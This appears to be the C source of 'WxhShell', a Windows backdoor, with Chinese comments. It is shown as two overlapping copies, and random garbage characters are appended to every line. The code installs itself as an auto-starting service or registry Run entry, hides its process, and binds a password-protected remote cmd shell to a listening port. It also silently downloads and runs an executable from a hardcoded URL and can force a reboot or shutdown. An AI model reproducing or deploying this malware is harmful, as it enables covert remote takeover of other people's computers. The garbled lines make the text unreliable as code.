    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qEXN} Pq<  
    if(Boot(SHUTDOWN)) q4Wr$T$gs=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M_Ag *?2I  
    else { uV_%&P  
    closesocket(wsh); $pAJ$0=sw  
    ExitThread(0); W90!*1  
    } J9!/C#Fm  
    break; YC8IwyL'  
    } yU&;\'  
  // 获取shell ~v;+-*t  
  case 's': { +B1&bOb  
    CmdShell(wsh); d4BzFGsW  
    closesocket(wsh); %Z<{CV  
    ExitThread(0); Q&vdBO/  
    break; ZIa,pON  
  } MTCfs~}m  
  // 退出 tB"9%4](  
  case 'x': { {&>rKCi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NJ.oME@=  
    CloseIt(wsh); ,8Po _[  
    break; .l_Nf9=  
    } p*,T~(A6  
  // 离开 ssx#|InY  
  case 'q': { ,lA @C2 c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #:0-t!<0C  
    closesocket(wsh); m{=Q88k!@.  
    WSACleanup(); J_Tz\bZ3)  
    exit(1); w-e{_R  
    break; 3p&T?E%  
        } C{pOGc@  
  } Z3hZy&_I  
  } _3@5@1[s  
YmaS,Q-  
  // 提示信息 Nz.X$zUmY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rr %x;-  
} )Ln".Bu,  
  } ciN\SA ZY  
h#O9TB  
  return; 0=3)`v{S@  
} X>=`l)ZR  
p__wBUB  
// shell模块句柄 ceE]^X;p  
int CmdShell(SOCKET sock) G2kU_  
{ M)+pH  
STARTUPINFO si; ^_|kEvk0  
ZeroMemory(&si,sizeof(si)); y`buY+5l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]/1\.<uJId  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #l4T/`u'9!  
PROCESS_INFORMATION ProcessInfo; EZ .3Z`  
char cmdline[]="cmd"; )S%t) }  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wxo  
  return 0; 2=Naq Ht(  
} ) yMrE T m  
iO5g30l  
// 自身启动模式 aim\ 3y~  
int StartFromService(void) Y PI)^ }  
{ c**&,aL  
typedef struct y0mNDze  
{ RSym9t90t  
  DWORD ExitStatus; UTyV6~  
  DWORD PebBaseAddress; !Yb !Au[  
  DWORD AffinityMask; 8i`>],,ch  
  DWORD BasePriority; ( ~5 M{Xh  
  ULONG UniqueProcessId; r)'vn[A  
  ULONG InheritedFromUniqueProcessId; |} b+$J  
}   PROCESS_BASIC_INFORMATION; \6&Ml]1  
d6QrB"J`  
PROCNTQSIP NtQueryInformationProcess; 9m$;C'}Z  
<Pt?N2]A|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z)W8Of_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )ciP6WzzbI  
I61S0l z/  
  HANDLE             hProcess; vlbZ5  
  PROCESS_BASIC_INFORMATION pbi; E^F<"mL*  
50N4J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~SQ xFAto  
  if(NULL == hInst ) return 0; ~h@@y5<4  
0W*{ 1W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L/tn;0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P{n#^4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hvw9i7#  
>Dr(%z6CN  
  if (!NtQueryInformationProcess) return 0; B{j><u xl  
X"r)zCP+t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EYq?NL='  
  if(!hProcess) return 0; 6^] |  
<@-O 06  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8O,\8:I#  
Yao}Xo9}  
  CloseHandle(hProcess); f?sm~PwC-  
Dd5 9xNKm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >5~#BrpwG  
if(hProcess==NULL) return 0; nL:&G'd  
`]eJF|"  
HMODULE hMod; LOx+?4|y  
char procName[255]; QE(.w dHP  
unsigned long cbNeeded; mgjJNzclL  
b]4dmc*N+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MJ)lZ!KZ  
#4'wF4DR@  
  CloseHandle(hProcess); I1E9E$m5\<  
.Az36wD  
if(strstr(procName,"services")) return 1; // 以服务启动 E?XaU~cpc  
QPx5`{nN  
  return 0; // 注册表启动 %vJHr!x  
} "17)`Yf  
f)/Z7*Z  
// 主模块 OT])t<TF6  
int StartWxhshell(LPSTR lpCmdLine) +{I_%SsG  
{ `uMEK>b  
  SOCKET wsl; Y7}>yC/GY  
BOOL val=TRUE; :G1ddb&0+  
  int port=0; ?J\&yJ_B  
  struct sockaddr_in door; /88s~=  
>q:%?mi  
  if(wscfg.ws_autoins) Install(); crM5&L9zF  
@N>7+ 4  
port=atoi(lpCmdLine); yV{B,T`W  
PdcIHN  
if(port<=0) port=wscfg.ws_port; k5S;G"i J  
iNA3Y  
  WSADATA data; N6y9'LGG`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |RiJ>/ MK\  
ii)# (b:V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K|7"YNohfG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 15g! Q *v  
  door.sin_family = AF_INET; ,&t+D-s<f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !!1?2ine  
  door.sin_port = htons(port); V,&%[H [  
"<ZV'z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y P2VSK2Q  
closesocket(wsl); C Bkoky 9&  
return 1; c|Ivet>3  
} nj[TTnd Jt  
pr0X7 #_E5  
  if(listen(wsl,2) == INVALID_SOCKET) { .{1$;K @  
closesocket(wsl); H`JFXMa<  
return 1; b' o]Y  
} t}q e_c  
  Wxhshell(wsl); ZLkl:'E_  
  WSACleanup(); DK4yAR,g  
1X?ro;  
return 0; i1 E|lp)  
#aP#r4$  
} 4 mX(.6  
x>#{C,Fi  
// 以NT服务方式启动 W>@ti9\t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jdxHWkQ   
{ &BVHQ7[  
DWORD   status = 0; Lzh8-d=HQ  
  DWORD   specificError = 0xfffffff; xE1?)  
<>] DcA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uk):z$ x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H bKE;N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +MoUh'/u  
  serviceStatus.dwWin32ExitCode     = 0; <|Td0|x _q  
  serviceStatus.dwServiceSpecificExitCode = 0; cI=6zMB  
  serviceStatus.dwCheckPoint       = 0;  >;fVuy  
  serviceStatus.dwWaitHint       = 0; OdzeHpH3g  
Cy~IB [  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |p|Zv H  
  if (hServiceStatusHandle==0) return; s.2f'i+  
2@|`Ugjptl  
status = GetLastError(); ]EiM~n  
  if (status!=NO_ERROR) e HphM;C  
{ !7N:cx'Qy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 11H`WOTQF  
    serviceStatus.dwCheckPoint       = 0; L< F8+a7i  
    serviceStatus.dwWaitHint       = 0; :R;w<Tbz"  
    serviceStatus.dwWin32ExitCode     = status; s6`E.Eevm  
    serviceStatus.dwServiceSpecificExitCode = specificError; P3zUaN \c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RM2Ik_IH[l  
    return; -c`xeuzK'  
  } w 3t,S3!  
mrTf[ "K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6V;Dcfvi  
  serviceStatus.dwCheckPoint       = 0; _Id'56N]J!  
  serviceStatus.dwWaitHint       = 0; dN{At-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y~9wxK  
} O<m46mwM  
4 2Z:J 0  
// 处理NT服务事件,比如:启动、停止 h3MdQlJ&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 22l'kvo4"  
{ 72<9xNcB!}  
switch(fdwControl) x5lVb$!G  
{ Fy=GU<&AI  
case SERVICE_CONTROL_STOP: EmNVQ1w  
  serviceStatus.dwWin32ExitCode = 0; VE\L&d2S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m eF7[>!U  
  serviceStatus.dwCheckPoint   = 0; */aY $aWv  
  serviceStatus.dwWaitHint     = 0; .n 9.y8C  
  { k6tCfq;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =M\yh,s!  
  } bxXpw&  
  return; >q}3#TvP@  
case SERVICE_CONTROL_PAUSE: 0Wr<l%M)+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 14,)JZN  
  break; UTA|Ps$  
case SERVICE_CONTROL_CONTINUE: k[Em~>m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H=/1d.p  
  break; ]iV ]7g8:  
case SERVICE_CONTROL_INTERROGATE: < 5zR-UA>  
  break; oC&}lp)q  
}; N*IroT3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b_x!m{  
} 1iT_mtXK$  
j*%#~UFw  
// 标准应用程序主函数 R`j"iC2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pf;OYWST  
{ Ac_P^  
g\aO::  
// 获取操作系统版本 HhbBt'fH  
OsIsNt=GetOsVer(); $(1t~u<17  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {v"f){   
mR0`wrt  
  // 从命令行安装 !?,, ZD  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7K"3[.  
z teu{0  
  // 下载执行文件 ]3,'U(!+  
if(wscfg.ws_downexe) { <J8c dB!e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %`C e#b()'  
  WinExec(wscfg.ws_filenam,SW_HIDE); pMU\f  
} KXWcg#zFY  
[}L?EM  
if(!OsIsNt) { 0:{W t  
// 如果时win9x,隐藏进程并且设置为注册表启动 A}(xH`A  
HideProc(); @]Q4K%1^"  
StartWxhshell(lpCmdLine); xU;SRB   
} 7gX32r$%V  
else l+;S$evY  
  if(StartFromService()) Au2^ T1F  
  // 以服务方式启动 eD*764tG  
  StartServiceCtrlDispatcher(DispatchTable); D0J{pAJ  
else %|jS`kj  
  // 普通方式启动 F}Zg3 #  
  StartWxhshell(lpCmdLine); )!(gS,  
<$A,|m  
return 0; >MYxj}I4{z  
} H{cOkuy  
FK BRJ5O  
p\zqZ=s  
FBE|pG7  
=========================================== +Xg:*b9So  
c!@|y E,  
".jO2GO^  
`0upm%A  
WsTIdr36x  
O_ #++G  
" v&:[?<6-  
?>7\L'n=5I  
#include <stdio.h> 0A} X hX  
#include <string.h> veDv14  
#include <windows.h> | .+P ;g  
#include <winsock2.h> d.}65{F,x  
#include <winsvc.h> sI\NX$M  
#include <urlmon.h> 5c5!\g~'  
;(K/O?nrJ  
#pragma comment (lib, "Ws2_32.lib") \J:+Wl.9A  
#pragma comment (lib, "urlmon.lib") smCACQ$ (  
gj;gl ="3  
#define MAX_USER   100 // 最大客户端连接数 f@sC~A. 9\  
#define BUF_SOCK   200 // sock buffer j+!u=E  
#define KEY_BUFF   255 // 输入 buffer '@t,G,FJ  
w/NT 5  
#define REBOOT     0   // 重启 \BBs;z[/  
#define SHUTDOWN   1   // 关机 kQI'kL8>  
%@QxU-k_  
#define DEF_PORT   5000 // 监听端口 gV)/lDEM5  
Pll%O@K  
#define REG_LEN     16   // 注册表键长度 0d[O/Q`  
#define SVC_LEN     80   // NT服务名长度 #8jiz+1 _  
aPJTH0u  
// 从dll定义API t %u0=V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L#`X ]E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #>yOp *  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D[^K0<-Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i~x]!!  
EG4~[5[YgI  
// wxhshell配置信息 Kmx4bp4  
struct WSCFG { 5kqI  
  int ws_port;         // 监听端口 G5hRx@vfrL  
  char ws_passstr[REG_LEN]; // 口令 km>ZhsqD  
  int ws_autoins;       // 安装标记, 1=yes 0=no /Ey%aA4v  
  char ws_regname[REG_LEN]; // 注册表键名 =U84*HAv  
  char ws_svcname[REG_LEN]; // 服务名 ~{DJ,(N"n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {"jtR<{)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @o[ZJ4>*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m 70r'b]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q'U!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gZHgL7@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ft;x@!h%  
|HAbZd7PG  
}; U ]pE{ ^\w  
rFcz 0  
// default Wxhshell configuration ~xzr8 P  
struct WSCFG wscfg={DEF_PORT, b!t[PShw^  
    "xuhuanlingzhe", #2|biTJ  
    1, 3]S_w[Q4  
    "Wxhshell", / 8O=3  
    "Wxhshell", )h ,v(Rxa  
            "WxhShell Service", tF[) Y#  
    "Wrsky Windows CmdShell Service", m +A4aQ9  
    "Please Input Your Password: ", )E9c6'd  
  1, O<fy^[r:`  
  "http://www.wrsky.com/wxhshell.exe", ]9_tto!/  
  "Wxhshell.exe" 1.%|Er 4  
    }; 0x*1I1(c  
q1 HJ_y  
// 消息定义模块 E$_zBD%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Rnzu0<lF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #^9bBF/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NJJ=ch  
char *msg_ws_ext="\n\rExit."; %,$xmoj9O]  
char *msg_ws_end="\n\rQuit."; Sv=e|!3f[k  
char *msg_ws_boot="\n\rReboot..."; @GXKqi  
char *msg_ws_poff="\n\rShutdown..."; 4SUzR\  
char *msg_ws_down="\n\rSave to "; T5`ML'Dej  
UZsvYy?  
char *msg_ws_err="\n\rErr!"; }r18Y6  
char *msg_ws_ok="\n\rOK!"; FzOWM7+\  
;E{jn4B'  
char ExeFile[MAX_PATH]; 7Z9'Y?[m  
int nUser = 0; yC ?p,Ci,  
HANDLE handles[MAX_USER]; =LY`K#  
int OsIsNt; 9PV]bt,  
C-ORI}o  
SERVICE_STATUS       serviceStatus; dU_;2d$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oFp1QrI3k8  
+hKU]DP2;  
// 函数声明 "Plo[E  
int Install(void); ?!m\|'s-  
int Uninstall(void); ]Ndy12,M  
int DownloadFile(char *sURL, SOCKET wsh); S~r75] "  
int Boot(int flag); IAbQgBvUD  
void HideProc(void); >r X$E<B\  
int GetOsVer(void); D]>Z5nr |  
int Wxhshell(SOCKET wsl); y k!K 5  
void TalkWithClient(void *cs); }.s%J\ckx  
int CmdShell(SOCKET sock); Q(A$ >A  
int StartFromService(void); Dl~(NLM  
int StartWxhshell(LPSTR lpCmdLine); W4.w  
NsS;d^%I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h}nS&.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rYV]<[?~7  
Px-VRANZt  
// 数据结构和表定义 34CcZEQQ  
SERVICE_TABLE_ENTRY DispatchTable[] = 7f3,czW  
{ Y(aUB$"  
{wscfg.ws_svcname, NTServiceMain}, PN99 R]K0g  
{NULL, NULL} #|+4`Gf^  
}; tf54EIy5Y  
Q "NZE  
// 自我安装 f.j<VKF}  
int Install(void) 3S#p4{3   
{ A|K=>7n]U  
  char svExeFile[MAX_PATH]; h$sOJs~6h  
  HKEY key; s% rmfIp"  
  strcpy(svExeFile,ExeFile); MrUjqv6a[  
=!DX,S7  
// 如果是win9x系统,修改注册表设为自启动 [So1`IA6  
if(!OsIsNt) { n>,GmCo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T)<^S(5 7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o=!_.lDF:  
  RegCloseKey(key); %R?WkG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;:oXe*d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &'zc2  
  RegCloseKey(key); t%e<]2-8  
  return 0; ]Hl{(v\H O  
    } :B=Gb8?  
  } ^B%ki  
} 'y>Y*/  
else { y:Gn58\o  
?Hdu=+ZV  
// 如果是NT以上系统,安装为系统服务 ) x+edYw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z}==6| {  
if (schSCManager!=0) aso8,mpZuA  
{ nVoWER:  
  SC_HANDLE schService = CreateService R#YeE`K  
  ( X}]A_G  
  schSCManager, OqRRf  
  wscfg.ws_svcname, ]zAwKuIK  
  wscfg.ws_svcdisp, u{HO6 s\S  
  SERVICE_ALL_ACCESS, yK&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ad,n+%"e  
  SERVICE_AUTO_START, QEut@L  
  SERVICE_ERROR_NORMAL, F#L1~\7  
  svExeFile, a_0I)' ?  
  NULL, w2s06`g  
  NULL, x8C\&ivn  
  NULL, LibQlNW\  
  NULL, IS!OO<  
  NULL (x\VGo  
  ); I0H]s/*C%9  
  if (schService!=0) qAd=i0{N  
  { 6&;GC<].(y  
  CloseServiceHandle(schService); KX;JX*)J  
  CloseServiceHandle(schSCManager); J,?F+Qji&=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U8NX%*oW  
  strcat(svExeFile,wscfg.ws_svcname); zjow %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ->?tB1}^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w oIZFus  
  RegCloseKey(key); ?%~^PHgZ|  
  return 0; L#'XN H"  
    } Gt?l 2s  
  } 32HF&P+0%  
  CloseServiceHandle(schSCManager); :JX2GRL4  
} .vy@uT,  
} 8!.V`|@lt  
!x ~s`z  
return 1; "P|n'Mx  
} WvArppANo  
2 z#S| $  
// 自我卸载 cNwH Y Z'  
int Uninstall(void) )qMbk7:v\  
{ opm_|0  
  HKEY key; jDQ?b\^  
EFx>Hu/ [G  
if(!OsIsNt) { 'nM4t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ye$j43b  
  RegDeleteValue(key,wscfg.ws_regname); J;^PM:6  
  RegCloseKey(key); +XO\#$o>W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -n[(0n3c  
  RegDeleteValue(key,wscfg.ws_regname); } )L z%Z  
  RegCloseKey(key); 7$g$p&,VX  
  return 0; w1-P6cf  
  } K,! V _  
} Z- a  
} Dj c-f  
else { vK+reXE  
A-uIZ zC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LWTPNp:"{w  
if (schSCManager!=0) 1,) yEeHjU  
{ 8TAJ#Lm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <B0 f  
  if (schService!=0) Xj{fM\,"9  
  { R{bG`C8.d  
  if(DeleteService(schService)!=0) { GrJLQO0$N  
  CloseServiceHandle(schService); &V~l(1  
  CloseServiceHandle(schSCManager); =$)M-;6  
  return 0; \$.{*f  
  } LFW`ISY{  
  CloseServiceHandle(schService); N%Ta. `r  
  } %c\k LSe  
  CloseServiceHandle(schSCManager); u<cnz% @  
} ,G}i:7  
} [(3s5)O  
*@PM,tS;  
return 1; {]}94T~/k  
} mgVYKZWL-i  
$57b.+2n  
// 从指定url下载文件 p$|7T31 *  
int DownloadFile(char *sURL, SOCKET wsh) eZU9L/w:  
{ -j]k^  
  HRESULT hr; jMTM:~0N  
char seps[]= "/"; ]7K2S{/o{  
char *token; 7`A]X,:  
char *file; R Qo a  
char myURL[MAX_PATH]; < ]1,L%  
char myFILE[MAX_PATH]; K6-M.I  
|]@Pq[Hn|  
strcpy(myURL,sURL); 3Y2~HuM  
  token=strtok(myURL,seps); <C(o0u&/  
  while(token!=NULL) O HpV%8`  
  { B T"R"w  
    file=token; +ppA..1  
  token=strtok(NULL,seps); Ws`ndR  
  } /qIl)+M  
rq8 d}wj  
GetCurrentDirectory(MAX_PATH,myFILE); lcm [l  
strcat(myFILE, "\\"); >god++,o  
strcat(myFILE, file); _7;:*'>a4  
  send(wsh,myFILE,strlen(myFILE),0); 8vR_WHsL  
send(wsh,"...",3,0); ; iia?f1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y{hy7w'd  
  if(hr==S_OK) =gQ9>An  
return 0; U3V5Jo r#  
else 1s.2z[B~  
return 1; |SjRss:i+  
6^'BTd  
} -g2l-N{&  
)'U0n`=  
// 系统电源模块 A/'po_'uy  
int Boot(int flag) ]1<GZ`  
{ 9/(jY$Ar  
  HANDLE hToken; v}Ju2}IK  
  TOKEN_PRIVILEGES tkp; rjK`t_(=  
@0@ZlH wM  
  if(OsIsNt) { sg^|dS{3D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w(6n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s b;q)Rh  
    tkp.PrivilegeCount = 1; ?![[la+f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Z8"f_GK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E(PBV  
if(flag==REBOOT) { W/ Q*NB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) byM-$l  
  return 0; 6qH0]7maI  
} g5@g_~ g  
else { GcdJf/k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _5-h\RB)  
  return 0; H TOr  
} &2`p#riAS  
  } (\{k-2t*^  
  else { /qX?ca1_4^  
if(flag==REBOOT) { V|_ h[hXE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O[C4xq  
  return 0; Xv-p7$?f  
} m|qktLx  
else { 1Hr}n6s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aE`d[d SG  
  return 0; + GI906K  
} Q< :RLKVT  
} VIT|#  
06S R74  
return 1; ~Ba=nn8Cq  
} W}CM;~*L  
uX6yhaOp|  
// win9x进程隐藏模块 LTTMa-]Yy  
void HideProc(void) m$W >~  
{ DpT9"?g7  
g |>LT_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sCFxn  
  if ( hKernel != NULL ) i3,IEN  
  { Mqr_w!8d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {rUg,y{v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eluN~T:W  
    FreeLibrary(hKernel); @&ZQDi  
  } yWi-ic [n  
DW. w=L|5R  
return; T+<.KvO-  
} .$18%jH#  
q<dG}aj  
// 获取操作系统版本 *5%vU|9b  
int GetOsVer(void) nF,F#V8l  
{ &<PIm  
  OSVERSIONINFO winfo; P]43FPb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V\;Xa0  
  GetVersionEx(&winfo); _B0(1(M<2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \wK&wRn)  
  return 1; f"ndLX:'}  
  else q!ZM Wg  
  return 0; |58HPW9  
} !ZYPz}&N_  
`x[Is$  
// 客户端句柄模块 6O7s^d&K  
int Wxhshell(SOCKET wsl) Wo 1x ZZ  
{ 4dX{an]Cz  
  SOCKET wsh; X7},|cmD_  
  struct sockaddr_in client; mM,HMrgLqK  
  DWORD myID; q>$MqKWM  
: {p'U2  
  while(nUser<MAX_USER) d y HC8  
{ 9n& &`r  
  int nSize=sizeof(client); ?b;2 PH"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }/cReX,so  
  if(wsh==INVALID_SOCKET) return 1; h'y%TOob  
X-c|jn7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  w4U,7%V  
if(handles[nUser]==0) y{%0[x*N<m  
  closesocket(wsh); 0gd`W{YP  
else wFJf"@/vJ  
  nUser++; 7~Y\qJ4b  
  } >h\y1IrAaG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Eomfa:WL  
7D6`1 &  
  return 0; _K^Q]V[nZ  
} 0bT j/0G?  
s1:Wrz?4  
// 关闭 socket u 272)@R  
void CloseIt(SOCKET wsh) Bf ut mI  
{ oac)na:O#  
closesocket(wsh); *N">93:  
nUser--; =;rLv7(a  
ExitThread(0); SqM>xm  
} F]ao Ty  
h?mDtMCw2  
// 客户端请求句柄 :o s8"  
void TalkWithClient(void *cs) \P<aK$g  
{ 5Gz!Bf@!!  
\SWTP1  
  SOCKET wsh=(SOCKET)cs; a:BW*Hy{\  
  char pwd[SVC_LEN]; |oY{TQ<<d  
  char cmd[KEY_BUFF]; $1yO Zp5  
char chr[1]; lsz3'!%Y)  
int i,j; Rx-\B$G  
fN&,.UB^p  
  while (nUser < MAX_USER) { e^y9Kmd  
'ygKP6M  
if(wscfg.ws_passstr) { #Rw!a#CX.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2u3Kyn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K10G+'H^  
  //ZeroMemory(pwd,KEY_BUFF); h `Lr5)B'  
      i=0; S!(3-{nC  
  while(i<SVC_LEN) { n' ~ ==2  
7he73  
  // 设置超时 1m*)MZ)  
  fd_set FdRead; EA"hie7  
  struct timeval TimeOut; W$4$%r8  
  FD_ZERO(&FdRead); Coi[cfg0  
  FD_SET(wsh,&FdRead); 0<,{poMM  
  TimeOut.tv_sec=8; mTZ/C#ir(  
  TimeOut.tv_usec=0; 6TP /0o)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O$*lPA[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h^Wb<O`S  
zI`I Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %*R, ceuI  
  pwd=chr[0]; EF0v!XW  
  if(chr[0]==0xd || chr[0]==0xa) { giakEPl  
  pwd=0; YYWD\Y`8  
  break; k@4N7}  
  } }y(t')=9  
  i++; IW~R{ ]6  
    } TM)INo^  
6/UOz V,[  
  // 如果是非法用户,关闭 socket `Fd \dn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gRLt0&Q~  
} qM\ 2f<)  
^^a6 (b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .5|[gBK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >?$2`I  
sscbf  
while(1) { 5YY5t^T  
:""HyjY!  
  ZeroMemory(cmd,KEY_BUFF); 'RjEdLrI  
Lq(=0U\"P  
      // 自动支持客户端 telnet标准   wvv+~K9jq  
  j=0; Z"`w>c.  
  while(j<KEY_BUFF) { )lG}B U.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G6G Bqp6|  
  cmd[j]=chr[0]; %e iV^>  
  if(chr[0]==0xa || chr[0]==0xd) { @ {/)k%U  
  cmd[j]=0; "Z.6@ c7  
  break; p{Lrv%-j  
  } )z[C=  
  j++; ,^/Wv!uPE  
    } ]LvP)0=  
S\GWMB!oF  
  // 下载文件 8E%LhA.  
  if(strstr(cmd,"http://")) { #(^<qr   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); csP4Oq\g[  
  if(DownloadFile(cmd,wsh)) A8% e _XA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "n%j2"TYJj  
  else )N.3Q1g-  
